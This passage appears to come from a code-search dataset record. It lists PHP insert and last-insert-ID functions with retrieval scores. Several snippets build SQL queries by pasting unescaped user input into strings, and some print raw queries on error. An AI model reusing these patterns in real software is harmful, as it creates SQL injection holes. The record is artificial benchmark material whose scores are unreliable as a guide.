('$id','$nombre_proyecto','$nombre_actividad','$modalidad_participacion','$responsable','$fecha_realizacion','$producto','$semillero_id')\";\n return $this->insertarConsulta($sql);\n } catch (SQLException $e) {\n throw new Exception('Primary key is null');\n }\n }", "function id_db() {\n\t\treturn mysql_insert_id($this -> dbc);\n\t}", "function addCompany($comp_name, $indtry, $mysqli){\n\t//Additions: Date Created\n\t$date = date(\"Y-m-d\");\n\t$sql = \"Insert Into company (company_name, company_industry, date_created) values ('$comp_name', '$indtry', '$date')\";\n\n\tif($mysqli->query($sql)=== TRUE){\n\t\treturn $mysqli->insert_id;\n\t}\n\telse{\n\t\treturn 0;\n\t}\n}", "function insertId();", "public function inserir() {\n $query = '\n insert into tb_atividade(\n id_evento, nome, qntd_part, inscricao, valor, tipo, carga_hr, data_inicio, data_fim\n ) values ( \n :id_evento, \n :nome, \n :qntd_part, \n :inscricao, \n :valor, \n :tipo, \n :carga_hr, \n :data_inicio, \n :data_fim\n )';\n\n $stmt = $this->conexao->prepare($query);\n $stmt->bindValue(':id_evento', $this->atividade->__get('id_evento'));\n $stmt->bindValue(':nome', $this->atividade->__get('nome'));\n $stmt->bindValue(':qntd_part', $this->atividade->__get('qntd_part'));\n $stmt->bindValue(':inscricao', $this->atividade->__get('inscricao'));\n $stmt->bindValue(':valor', $this->atividade->__get('valor'));\n $stmt->bindValue(':tipo', $this->atividade->__get('tipo'));\n $stmt->bindValue(':carga_hr', $this->atividade->__get('carga_hr'));\n $stmt->bindValue(':data_inicio', $this->atividade->__get('data_inicio'));\n $stmt->bindValue(':data_fim', $this->atividade->__get('data_fim'));\n\n return $stmt->execute();\n }", "function getId_serie()\n {\n if (!isset($this->iid_serie) && !$this->bLoaded) {\n $this->DBCarregar();\n }\n return $this->iid_serie;\n }", "function add_entrenador($params)\n {\n $this->db->insert('entrenador',$params);\n return $this->db->insert_id();\n }", "function insComentario($datosComentario) {\r\n /* Registramos el comentario en la tabla comentarios */\r\n $this->db->insert('Comentarios_T', $datosComentario);\r\n return $this->db->insert_id();\r\n }", "public function setVendedor($nome,$comissao){\n try{\n $x = 1;\n $Conexao = Conexao::getConnection();\n $query = $Conexao->prepare(\"INSERT INTO vendedor (nome,comissao) VALUES ('$nome',$comissao)\"); \n $query->execute(); \n // $query = $Conexao->query(\"DELETE FROM vendedor WHERE id_vendedor = (SELECT top 1 id_vendedor from vendedor order by id_vendedor desc)\"); \n // $query->execute();\n return 1;\n\n }catch(Exception $e){\n echo $e->getMessage();\n return 2;\n exit;\n } \n }", "public function insertar(){\n $mysqli = new mysqli(Config::BBDD_HOST, Config::BBDD_USUARIO, Config::BBDD_CLAVE, Config::BBDD_NOMBRE);\n //Arma la query\n $sql = \"INSERT INTO tipo_domicilios ( \n tipo,\n nombre\n ) VALUES (\n '\" . $this->tipo .\"', \n '\" . $this->nombre .\"'\n );\";\n //Ejecuta la query\n if (!$mysqli->query($sql)) {\n printf(\"Error en query: %s\\n\", $mysqli->error . \" \" . $sql);\n }\n //Obtiene el id generado por la inserción\n $this->idtipo = $mysqli->insert_id;\n //Cierra la conexión\n $mysqli->close();\n }", "public function ultimoID()\n\t{\n\t\treturn $this->db->insert_id();\n }", "public function insert($titulos){\n// $id=$titulos->getId();\n$descripcion=$titulos->getDescripcion();\n$universidad_id=$titulos->getUniversidad_id();\n$docente_id=$titulos->getDocente_id()->getId();\n\n try {\n $sql= \"INSERT INTO `titulos`( `descripcion`, `universidad`, `docente_id`)\"\n .\"VALUES ('$descripcion','$universidad_id','$docente_id')\";\n return $this->insertarConsulta($sql);\n } catch (SQLException $e) {\n throw new Exception('Primary key is null');\n }\n }", "public function EntregarPedidos()\n\t{\n\t\tself::SetNames();\n\t\t\n\t\t$sql = \" update ventas set \"\n\t\t\t .\" cocinero = ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codventa = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $cocinero);\n\t\t$stmt->bindParam(2, $codventa);\n\t\t\n\t\t$cocinero = strip_tags(\"0\");\n\t\t$codventa = strip_tags(base64_decode($_GET[\"codventa\"]));\n\t\t$sala = strip_tags(base64_decode($_GET[\"nombresala\"]));\n\t\t$mesa = strip_tags(base64_decode($_GET[\"nombremesa\"]));\n\t\t$stmt->execute();\n\t\t\n echo \"<div class='alert alert-info'>\";\n\t\techo \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\n\t\techo \"<center><span class='fa fa-check-square-o'></span> EL PEDIDO DE LA \".$sala.\" Y \".$mesa.\" FUE ENTREGADO EXITOSAMENTE </center>\";\n\t\techo \"</div>\"; \n\t\texit;\n\t\n }", "public function ultimo_id (){\n\t\t$id= mysqli_insert_id($this->descriptor);\n\t\treturn $id;\n\t}", "function newskomentar_createid($tbl_newskomentar){ /* Fungsi buat id */\n\t$sql = mysql_query(\"SELECT * FROM $tbl_newskomentar \");\n\treturn $sql;\n}", "public function add_service(){\r\t\t$query=\"insert into `\".$this->tablename.\"` (`id`,`title`,`description`,`color`,`image`,`status`,`position`) values(NULL,'\".$this->title.\"','\".$this->description.\"','\".$this->color.\"','\".$this->image.\"','\".$this->status.\"','\".$this->position.\"')\";\r $result=mysqli_query($this->conn,$query);\r\t\t\t$value=mysqli_insert_id($this->conn);\r\t\t\treturn $value;\r\t\t}", "function obtenirIdNomEtablissements ($connexion) {\r\n\r\n $req = \"SELECT id, nom FROM Etablissement ORDER BY id\";\r\n $stmt = $connexion -> prepare ($req);\r\n $stmt -> execute ();\r\n return $stmt;\r\n\r\n }", "public function insert()\n {\n $sql = \"INSERT INTO \" . self::TABLE_NAME . \"(id,\n pro_name,\n pro_slug,\n pro_content,\n pro_size,\n pro_size_info,\n pro_price,\n pro_quantity,\n pro_seo_title,\n pro_seo_description,\n pro_status,\n pro_add_date,\n pro_update_date,\n user_id,\n brand_id\n )\n VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)\";\n $stmt = $this->prepare($sql);\n $stmt->bind_param(\"ssssisiississii\",\n $this->getId(),\n $this->getProName(),\n $this->getProSlug(),\n $this->getProContent(),\n $this->getProSize(),\n $this->getProSizeInfo(),\n $this->getProPrice(),\n $this->getProQuantity(),\n $this->getProSeoTitle(),\n $this->getProSeoDescription(),\n $this->getProStatus(),\n $this->getProAddDate(),\n $this->getProUpdateDate(),\n $this->getUserId(),\n $this->getBrandId()\n );\n $result = $stmt->execute();\n $stmt->close();\n return $result;\n }", "function insertarHerrajeaccesorio(){\n\t\t$this->procedimiento='snx.ft_herrajeaccesorio_ime';\n\t\t$this->transaccion='SNX_HAC_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('herrajeaccesorio','herrajeaccesorio','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getIdByNameEspecialidad($name){//FUNCION PARA VERIFICAR LA EXISTENCIA DE UN CORREO EN TABLA MEDICO\n $objT=new especialidadDAO();\n $resul=$objT->readall();\n $act=0;\n for($i=0;$i<count($resul);$i++){\n if(strtoupper($resul[$i]['nombre']) == strtoupper($name)){\n $act=$resul[$i]['id_especialidad'];\n }\n }\n return $act; \n }", "public function incluir(){\n header(\"Content-type: text/html;charset=utf-8\");\n $sql = \"SHOW FULL FIELDS FROM \" . $this->table;\n $execute = conexao::toConnect()->executeS($sql);\n $atributos = \"\";\n $values = \"\";\n $id_registro = \"\";\n $contador = count($execute) - 1;\n foreach ($execute as $key => $attr){\n if ($attr->Key != 'PRI') {\n $atributos_field = $attr->Field;\n $select_p = substr(strtoupper($atributos_field), 0, 1);\n $select_t = substr($atributos_field, 1);\n $get = 'get' . $select_p . $select_t;\n if ($contador != $key) {\n $atributos .= $attr->Field . ',';\n $values .= \"'\".$this->$get() .\"',\";\n } else {\n $atributos .= $attr->Field;\n $values .= \"'\".$this->$get() .\"'\";\n }\n }else{\n $id_registro = $attr->Field;\n }\n }\n $insert = \"INSERT INTO \".$this->table.\" (\".$atributos.\") VALUES($values)\";\n $execute_into = conexao::toConnect()->executeQuery($insert);\n if (count($execute_into) > 0) {\n $sql = \"SELECT \".$id_registro.\" FROM \".$this->table.\" ORDER BY \".$id_registro.\" DESC LIMIT 1\";\n $id_r = conexao::toConnect()->executeS($sql);\n return $id_r[0]->$id_registro;\n }else{\n return false;\n }\n\n }", "public function name_id(){\n $name = htmlspecialchars($_POST['name']);\n if($sql= $this->con->prepare('INSERT INTO name_category(name) VALUES(?)')){\n $sql->bind_param(\"s\",$name);\n\t$sql-> execute();\n }\n\telse{\n echo \"The issue is:\".$this->con->Error;\n\t} \n}", "public function insert_id();", "public function insertEspecialidad($name,$desc){//FUNCION PARA insertar en tb especialidad\n $objT=new especialidadDAO();\n if($objT->insert($name,$desc) == true){\n return true;\n }else{\n return false;\n }\n }", "function insert_id($table) {\r\n\t\treturn $this->dbh->insert_id($table);\r\n\t\t\r\n\t}", "function sql_addCustomer($kunde){\r\n\t\t\r\n\t\tglobal $database;\r\n\t\t$id = $database->insert(\"kunden\", [\r\n\t\t\t\t\"name\" => $kunde\r\n\t\t]);\r\n\t\t\r\n\t\treturn $id;\r\n\t\t\r\n\t}", "public function inserir($oficina){\r\n\t\t$sql = 'INSERT INTO oficina (id, nome, data, carga_horaria, horario, id_evento, tipo, vagas) VALUES (:id, :nome, :data, :carga_horaria, :horario, :id_evento, :tipo, :vagas)';\r\n\t\t$consulta = $conexao->prepare($sql);\r\n\t\t$consulta->bindValue(':id',$oficina->getId()); \n\r\t\t$consulta->bindValue(':nome',$oficina->getNome()); \n\r\t\t$consulta->bindValue(':data',$oficina->getData()); \n\r\t\t$consulta->bindValue(':carga_horaria',$oficina->getCarga_horaria()); \n\r\t\t$consulta->bindValue(':horario',$oficina->getHorario()); \n\r\t\t$consulta->bindValue(':id_evento',$oficina->getId_evento()); \n\r\t\t$consulta->bindValue(':tipo',$oficina->getTipo()); \n\r\t\t$consulta->bindValue(':vagas',$oficina->getVagas()); \r\n\t\t$consulta->execute();\r\n\t}", "public function insert($datos) {\n\t\t\n\t\t$result = $this->db->insert(\"accounts\", $datos);\n\t\t$id = $this->db->insert_id();\n\t\treturn $id;\n \n }", "function getIdForName($name, $dbh=null) {\r\n if (is_null($dbh)) $dbh = connect_to_database();\r\n $sql = \"SELECT id FROM stock WHERE LOWER(name) = LOWER('$name')\";\r\n $sth = make_query($dbh, $sql);\r\n $results = get_all_rows($sth);\r\n if ($results) {\r\n return $results[0]['id'];\r\n }\r\n }", "public function insertar(){\n $this -> Conexion -> abrir();\n $this -> Conexion -> ejecutar( $this -> ClienteDAO -> insertar());\n $res = $this -> Conexion -> filasAfectadas();\n $this -> Conexion -> cerrar();\n return $res;\n }", "function get_id($table_name, $name, $db) {\n try {\n $sql = \"SELECT id FROM :table WHERE name=:name;\";\n $stmt = $db->prepare($sql);\n $params = array(\"table\" => $table_name,\n \"name\" => $name);\n $stmt->execute($params);\n }\n catch (PDOException $ex) {\n catch_error(\"Failed to get \" . $name . \" from \" . $table_name . \".\", $ex);\n }\n }", "public function insertar($objeto){\r\n\t}", "public function fnInsertReturnId()\n {\n $cNew_Data = \"INSERT INTO $this->table ($this->column) VALUES($this->value)\";\n //$this->fnRegLogs($this->table, \"INSERT\", $cNew_Data, \"\");\n try {\n $model = new connection();\n $connection = $model->fnConnect();\n $connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, TRUE);\n $result = $connection->prepare(\"INSERT INTO $this->table ($this->column) VALUES($this->value)\");\n $array = explode(\"|\", $this->placeholder);\n $this->message = \"Error al Crear, Verifique que NO Exista otro Registro con el Mismo Nombre de \";\n for ($i = 1; $i <= count($array); $i++)\n $result->bindParam($i, $array[$i - 1]);\n if ($result) {\n $result->execute();\n $this->message = \"Registro Almacenado Correctamente!\";\n $lastInsert = $connection->lastInsertId();\n return $lastInsert;\n }\n return 0;\n } catch (Exception $e) {\n return $this->message = $e->getMessage();\n }\n }", "function insert($ingrediente){\n try{\n $stmte =$this->pdo->prepare(\"INSERT INTO tb_ingrediente(igr_nome, igr_unidade, igr_valor)\n VALUES (:nome, :unidade, :valor)\");\n\n $stmte->bindParam(\":nome\", $ingrediente->getNome(), PDO::PARAM_STR);\n $stmte->bindParam(\":unidade\", $ingrediente->getUnidade(), PDO::PARAM_STR);\n $stmte->bindParam(\":valor\", $ingrediente->getValor(), PDO::PARAM_INT);\n\n $executa = $stmte->execute();\n $higr_fk_ingrediente = $this->pdo->lastInsertId();\n\n if($executa){\n return $higr_fk_ingrediente;\n }\n else{\n return -1;\n }\n }\n \n catch(PDOException $e){\n echo $e->getMessage();\n return -1;\n }\n }", "function create($table, $data)\n {\n $current = get_instance();\n $current->db->insert($table, $data);\n return $current->db->insert_id();\n }", "function insertarDestinos($destino) {\r\n$sql = \"insert into tbdestinos(iddestino,destino)\r\nvalues ('','\".($destino).\"')\";\r\n$res = $this->query($sql,1);\r\nreturn $res;\r\n}", "public function insert() {\n $conexion = StorianDB::connectDB();\n $insercion = \"INSERT INTO cuento (titulo, contenido, autor) VALUES (\\\"\".$this->titulo.\"\\\", \\\"\".$this->contenido.\"\\\", \\\"\".$this->autor.\"\\\")\";\n $conexion->exec($insercion);\n }", "public function insert_ico($data){\n\t\t $this->db->insert(DB_PREFIX.'setup',$data);\n\t\t $insert_id = $this->db->insert_id();\n\t\t return $insert_id;\n\t }", "public function insert($producto);", "protected function fijarSentenciaInsert(){}", "static public function mdlGuardarIngreso($tabla, $datos){\t\n\n\t\t$dbh = Conexion::conectar();\n\n\t\t$stmt = $dbh->prepare(\"INSERT INTO $tabla(idproveedor, idusuario, tipo_comprobante, serie_comprobante, num_comprobante, fecha_hora, impuesto, total_compra, divisa) VALUES (:idproveedor, :idusuario, :tipo_comprobante, :serie_comprobante, :num_comprobante, :fecha_hora, :impuesto, :total_compra, :divisa)\");\n\n\t\t$stmt->bindParam(\":idproveedor\", $datos[\"proveedor\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":idusuario\", $datos[\"idusuario\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":fecha_hora\", $datos[\"fecha\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":tipo_comprobante\", $datos[\"tipo_comprobante\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":divisa\", $datos[\"divisa_ingreso\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":serie_comprobante\", $datos[\"serie_comprobante\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":num_comprobante\", $datos[\"numero_comprobante\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":impuesto\", $datos[\"impuesto_ingreso\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":total_compra\", $datos[\"total_compra\"], PDO::PARAM_INT);\n\n\t\t\n\n\t\t$stmt->execute();\n\t\t$id = $dbh->lastInsertId();\n\t\treturn $id;\n\n\t\t$stmt->close();\n\t\t$stmt = null;\n\t}", "function inserir(Produto $produto){\n $conexao = \"pgsql:host=localhost;dbname=app_produtos\";\n $usuario = \"postgres\";\n $senha = \"postgresql\";\n\n $pdo = new PDO($conexao,$usuario,$senha);\n\n $comando = $pdo->prepare(\"INSERT INTO produto(nome,preco) VALUES (:nome, :preco)\");\n\n $comando->bindParam(':nome',$produto->nome);\n $comando->bindParam(':preco',$produto->preco);\n\n $comando->execute();\n\n var_dump($pdo->lastInsertId());\n }", "function RegistrarCliente($DATA){ \n try{ \n $bd = new BD;\n $conn = $bd->conectar(); \n\n if (!$conn) {\n echo 'No pudo conectarse a mysql';\n exit;\n } \n \n $sql = \"\n INSERT INTO `clientes`(\n `NOMBRE`, `APELLIDO`\n ) VALUES ( \n '\".$DATA['nombre'].\"', \n '\".$DATA['apellido'].\"' \n )\";\n \n $resultado = mysqli_query($conn, $sql); \n \n if (!$resultado) {\n echo \"Error de BD, no se pudo consultar la base de datos\\n\";\n echo \"Error MySQL: \" . mysqli_error($conn);\n echo \"<br> $sql\";\n exit;\n }\n \n return mysqli_insert_id($conn); \n } \n catch(Exception $e){ \n echo(\"Error!\");\n return \"Error en la consulta\"; \n } \n }", "function insert_id($name=\"\")\n\t{\n\t\treturn $this->db->lastInsertId($name);\n\t}", "function insertarPrograma(){\n\t\t$this->procedimiento='sigep.ft_programa_ime';\n\t\t$this->transaccion='SIGEP_PRO_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cp_programa','id_cp_programa','int4');\n\t\t$this->setParametro('id_gestion','id_gestion','int4');\n\t\t$this->setParametro('programa','programa','int4');\n\t\t$this->setParametro('desc_catprg','desc_catprg','varchar');\n\t\t$this->setParametro('id_entidad','id_entidad','int4');\n\t\t$this->setParametro('nivel','nivel','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('id_catprg','id_catprg','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function inserisci_record(Spesa $spesa){\n //variaibili che arrivano dall'oggetto creato\n $titolo = $spesa->getTitoloSpesa();\n $tipologia = $spesa->getTipologiaSpesa();\n $data_p = converti_data_pagamento_spesa($spesa->getDataPagamentoSpesa());\n $data_s = converti_data_scadenza_spesa($spesa->getDataScadenzaSpesa());\n $autore = $spesa->getAutoreSpesa();\n $importo = verifica_importo_spesa($spesa->getImportoSpesa());\n\n $mysqli = connetti();\n\n $sql = \"INSERT INTO `spesa` (`titolo_spesa`, `tipologia_spesa`, `data_pagamento_spesa`, `data_scadenza_spesa`, `autore_spesa`, `importo_spesa`) \n VALUES('$titolo','$tipologia','$data_p','$data_s','$autore',$importo)\";\n\n if($mysqli->query($sql)){\n header(\"Location:index.php\");\n }else{\n header(\"Location:inserisci_spesa.php\");\n }\n chiudi_connessione($mysqli);\n}", "private function _insertObiectNume($nume,$descriere){\n\t\t$result = Doctrine_Core::getTable('ObiectNume')->findOneByNumeAndDescriere($nume,$descriere);\n\t\tif ($result){\n\t\t\treturn $result->id; \n\t\t}else {\n\t\t\t$obiectNume = new ObiectNume;\n\t\t\t$obiectNume->nume = $nume;\n\t\t\t$obiectNume->descriere = $descriere;\n\t\t\t$obiectNume->save();\n\t\t\t\n\t\t\treturn $obiectNume->id;\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t}", "function getId(){\n\t\tswitch ($this->intBanco){\n\t\t\tcase INT_SQLSERVER:\n\t\t\t\treturn \"\";\n\t\t\t\tbreak;\n\t\t\tcase INT_ORACLE:\n\t\t\t\treturn \"\";\n\t\t\t\tbreak;\n\t\t\tcase INT_POSTGRE:\n\t\t\t\treturn \"\";\n\t\t\t\tbreak;\n\t\t\tcase INT_MYSQL:\n\t\t\t\treturn mysql_insert_id();\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t}", "public function insert($usuario_has_hojaruta);", "public function insert($name, $surname, $birth, $zip, $email)\n {\n $name = strtoupper($name);\n $surname = strtoupper($surname);\n $s_name = [$name, $surname];\n try {\n foreach ($s_name as $value) {\n $this->checkString($value);\n }\n $this->checkBDay($birth);\n $this->checkEmail($email);\n $this->checkZipCode($zip);\n\n // prepare and bind\n $this->connect();\n // prepare and bind\n $stmt = $this->conn->prepare(\"INSERT INTO contatti (nome, cognome, nascita, cap, email) VALUES (?,?,?,?,?)\");\n $stmt->bind_param(\"sssss\", $name, $surname, $birth, $zip, $email);\n // set parameters and execute\n $stmt->execute();\n $stmt->close();\n $ret = $this->conn->insert_id;\n return $ret;\n\n } catch (\\Exception $e) {\n echo \"<script>alert('Uno o più campi non sono abilitati ad essere gestiti. Riprovare.')</script>\";\n }\n finally {\n $this->disconnect();\n }\n\n }", "public function insert()\n {\n $sql = new Sql();\n $result = $sql->select(\"CALL sp_usuario_insert(:LOGIN, :PASSWORD)\", array(\n \":LOGIN\"=>$this->getDeslogin(),\n \":PASSWORD\"=>$this->getDessenha()\n ));\n\n if(count($result) > 0){\n $row = $result[0];\n $this->setIdusuario($row['idusuario']);\n $this->setDeslogin($row['deslogin']);\n $this->setDessenha($row['dessenha']);\n $this->setDataCadastro(new DateTime($row['dataCadastro']));\n }\n }", "function CreaAssistito($nome, $cognome, $telefono, $codiceFisc, $indirizzo, $comune, $email, $descrzione, $categoria){\n\t\t$query = \"INSERT INTO assistiti (Nome, Cognome, Telefono, CodiceFiscale, Indirizzo, Comune, Email, Descrizione, Categoria) VALUES('$nome', '$cognome', '$telefono', '$codiceFisc', '$indirizzo', '$comune', '$email' , '$descrizione', $categoria)\";\n\t\tif(!$mysqli -> query($query)){\n\t\t\tdie($mysqli->error);\n\t\t}\n\t}", "public function addRecordInDB($nome, $titolo, $testo_presentazione, $prezzo, $id_sede){\r\n include_once './db_functions.php';\r\n $db = new DB_Functions();\r\n //Escaping\r\n $nome = DB_Functions::esc($nome);\r\n $titolo = DB_Functions::esc($titolo);\r\n $testo_presentazione = DB_Functions::esc($testo_presentazione);\r\n $prezzo = DB_Functions::esc($prezzo);\r\n $id_sede = DB_Functions::esc($id_sede);\r\n\r\n //inserimento nuova SEZIONE\r\n $query = \"INSERT INTO SEZIONE (NOME, TITOLO, TESTO_PRESENTAZIONE, PREZZO, ID_SEDE)\r\n\t VALUES ($nome, $titolo, $testo_presentazione, $prezzo, $id_sede)\";\r\n $resQuery1 = $db->executeQuery($query);\r\n\r\n // Se la query ha esito positivo\r\n if ($resQuery1[\"state\"]) {\r\n //Salva valore ID del record creato\r\n $query = \"SELECT max(ID_SEZIONE) FROM SEZIONE;\";\r\n $resQuery2 = $db->executeQuery($query);\r\n $this->id_sezione = $resQuery2[\"response\"][0][0];\r\n $this->nome = $nome;\r\n $this->titolo = $titolo;\r\n $this->testo_presentazione = $testo_presentazione;\r\n $this->prezzo = $prezzo;\r\n $this->id_sede = $id_sede;\r\n }\r\n return $resQuery1;\r\n }", "function getInputId($conn, $name, $type, $isOutput, $value_type){\n\n $sql = \"SELECT id FROM `input` WHERE `name` LIKE '\".$name.\"' \";\n $result = $conn->query($sql);\n if ($result->num_rows > 0) {\n $row = $result->fetch_assoc();\n return $row['id'];\n } else {\n \n $sql2=\"INSERT INTO `input` (`id`, `name`, `type`, `output`, `value_type` ) VALUES (NULL, '\".$name.\"', '\".$type.\"',\".$isOutput.\", '\".$value_type.\"');\";\n $conn->query($sql2);\n return $conn->insert_id;\n \n\n }\n\n}", "public function devuelveIDInsercion($consulta){\n $resp = null;\n unset($this->ERROR);\n $this->QUERY = $consulta;\n if ($this->RESULT = mysqli_query($this->CONEXION,$consulta)){\n $id = mysqli_insert_id($this->CONEXION);\n $resp = $id;\n } else {\n $conexion = $this->getCONEXION();\n $error = mysqli_errno($conexion) . \": \" .mysqli_error($conexion);\n $this->setERROR($error); \n }\n return $resp;\n }", "public function insert() {\n \n $query = $this->dbConnection->prepare(\"INSERT INTO `menu` (`id`, `name`, `nameen`, `address`, `isMenu`, `order`) VALUES (NULL, :name, :nameen, :address, :isMenu, :order)\");\n $query->bindValue(':name', $this->name, PDO::PARAM_STR);\n $query->bindValue(':nameen', $this->nameen, PDO::PARAM_STR);\n $query->bindValue(':address', $this->address, PDO::PARAM_STR);\n $query->bindValue(':isMenu', $this->isMenu, PDO::PARAM_STR);\n $query->bindValue(':order', $this->order, PDO::PARAM_STR);\n $query->execute();\n $this->id = $this->dbConnection->lastInsertId();\n }", "public function insert($aluno) {\n\t}", "function add_entretien($params)\n {\n $this->db->insert('tb_bm_entretiens',$params);\n return $this->db->insert_id();\n }", "static public function ctrInsertOportunidad(){\n\n if(isset($_POST[\"opoEmpleado\"])){\n if(preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST[\"opofolio\"]) &&\n preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ., ]+$/', $_POST[\"nuevoEmpresa\"]) && \n preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ., ]+$/', $_POST[\"opoServicio\"]) &&\n preg_match('/^[0-9., ]+$/', $_POST[\"opoCantidad\"]) &&\n preg_match('/^[0-9., ]+$/', $_POST[\"opoImporte\"])){\n $tabla = \"oportunidad\";\n $datos = array(\n \"codigo\" => $_POST[\"opofolio\"],\n \"idUsuario\" => $_POST[\"opoEmpleado\"],\n \"idCliente\" => $_POST[\"opoCliente\"],\n \"empresa\" => $_POST[\"nuevoEmpresa\"],\n \"servicio\" => $_POST[\"opoServicio\"],\n \"idPieza\" => $_POST[\"opoModelo\"],\n \"cantidad\" => $_POST[\"opoCantidad\"],\n \"importe\" => $_POST[\"opoImporte\"],\n \"idPorcentaje\" => $_POST[\"opoEtapa\"],\n \"idAccion\" => $_POST[\"opoAccion\"],\n \"descripcion\" => $_POST[\"opoDescripcion\"],\n );\n\n $respuestas = ModeloOportunidad::mdlInsertOportunidad($tabla,$datos);\n\n \n if($respuestas == \"ok\"){\n \n echo '<script>\n localStorage.removeItem(\"folio\");\n localStorage.removeItem(\"Idempleado\");\n localStorage.removeItem(\"empleado\");\n\t\t\t\t\tSwal.fire({\n\n\t\t\t\t\t\ticon: \"success\",\n\t\t\t\t\t\ttitle: \"¡la oportunidad ha sido guardado correctamente!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"oportunidad\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\t\t\t\t\t</script>';\n \n }\n\n }else{\n \n echo '<script>\n\n\t\t\t\tSwal.fire({\n\n\t\t\t\t\t\ticon: \"error\",\n\t\t\t\t\t\ttitle: \"¡Los datos ingresados no pueden ir vacíos o llevar caracteres especiales!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\t\t\t\t\t\t\twindow.location = \"oportunidad\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\t\t\t\t</script>';\n \n }\n\n }\n }" ]
[ "0.647047", "0.6359833", "0.62890536", "0.6130426", "0.602587", "0.600762", "0.5952291", "0.5952043", "0.58839446", "0.5869604", "0.5853396", "0.5844781", "0.58247405", "0.581661", "0.57378423", "0.57217985", "0.5718659", "0.5705244", "0.5704368", "0.57010186", "0.5695311", "0.56948996", "0.5691812", "0.56797844", "0.56765", "0.5666095", "0.5664981", "0.5661932", "0.5649403", "0.5637874", "0.56315136", "0.56189376", "0.560484", "0.55991346", "0.5593197", "0.55911547", "0.55892426", "0.55851805", "0.55797374", "0.5577789", "0.55700284", "0.5567282", "0.5560747", "0.5556131", "0.55480117", "0.5546902", "0.5546174", "0.5543562", "0.5543068", "0.55399346", "0.55330276", "0.55112916", "0.54938185", "0.54931647", "0.5489548", "0.54883295", "0.548734", "0.5486096", "0.54855114", "0.5481607", "0.54803115", "0.54759246", "0.5472768", "0.5465801", "0.54621184", "0.54537374", "0.54403704", "0.54403114", "0.5437028", "0.54323345", "0.5429017", "0.5427722", "0.5423731", "0.54211473", "0.54172534", "0.54131824", "0.54104817", "0.5405684", "0.5399191", "0.5398896", "0.5393671", "0.5389933", "0.53892255", "0.53875613", "0.53837305", "0.53831863", "0.5379172", "0.5377268", "0.5376539", "0.5363624", "0.5363533", "0.53624547", "0.5361191", "0.5360775", "0.53601587", "0.53573763", "0.5351344", "0.53480697", "0.53455424", "0.5344882" ]
0.5955711
6
Run the database seeds.
public function run() { Settings::create([ 'site_name' => 'Laravel Blog', 'contact_number' => '91 9562 8974 63', 'contact_email' => '[email protected]', 'address' => 'Bangalore, Indea' ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = 